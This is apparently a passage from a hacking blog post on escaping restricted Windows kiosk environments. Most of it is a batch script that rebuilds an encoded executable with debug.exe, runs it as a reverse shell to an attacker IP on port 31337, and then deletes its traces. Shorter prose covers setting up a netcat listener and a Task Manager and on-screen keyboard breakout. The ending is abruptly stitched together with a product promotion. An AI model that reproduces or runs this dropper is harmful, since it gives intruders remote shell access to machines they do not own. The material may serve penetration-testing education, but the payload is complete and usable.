echo e 0100 >>1234.hex && echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00  >>1234.hex

echo e 0180 >>1234.hex && echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >>1234.hex

echo e 0200 >>1234.hex && echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13  >>1234.hex

echo e 0280 >>1234.hex && echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00  >>1234.hex

echo e 0300 >>1234.hex && echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1  >>1234.hex

echo e 0380 >>1234.hex && echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03  >>1234.hex

echo e 0400 >>1234.hex && echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee  >>1234.hex

echo e 0480 >>1234.hex && echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74  >>1234.hex

echo e 0500 >>1234.hex && echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46  >>1234.hex

echo e 0580 >>1234.hex && echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00  >>1234.hex

echo r cx >>1234.hex && echo 04ef >>1234.hex && echo w >>1234.hex && echo q >>1234.hex && debug<1234.hex && copy 2.dll reverse.exe && del 2.dll && del 1234.hex

rem *******************EDIT YOUR HOSTNAME AND PORT HERE*************************

reverse.exe 192.168.2.18 31337

deleteit:

del reverse.exe

IF EXIST reverse.exe GOTO kill

del %0

 

:kill

The code looks very similar to bind.bat from the last exercise.  Essentially this is doing the same thing, creating a hex file and DLL file that build an executable.  The program is then run (and subsequently the shell sent) and then is deleted.

 

First off, we need to set our evil hacker box to listen on a port, let’s choose 31337 for this exercise.  We will be using netcat again (isn’t it a wonderful tool) to listen on port 31337:

Next, we simply run the batch file on the target machine:

And like clockwork, there is our shell!

 

 

 

 

Escaping and getting a command prompt

 

First things first, we need a command prompt before we can do anything else.  Let’s navigate to the task manager using Ctrl+Alt+Delete.  Next, go to File > New Task (Run…) and type in cmd.exe.  That will spawn a new command prompt (also if there is no physical keyboard present, you can start a new task and type in “osk.exe” for an onscreen keyboard):

 

Here is an image of the On-Screen Keyboard:

 

Next, use Internet Explorer (or whatever browser they have installed, but there is a good chance it is IE) to navigate to a website that hosts your favorite tools and exploits. Whew…well alrighty then… I hope that you enjoyed this blog post.

I’d love it if you check out the Metasploit Next Level Video Series for only $50:

http://strategicsec.com/product/metasploit-next-level-video-series/

 

Let’s call it quits right there, and I’ll come back in a day or so and give you something else to chew on.

 

Show me some love and tweet this
Bypassing Restricted Environments

 

Happy Hacking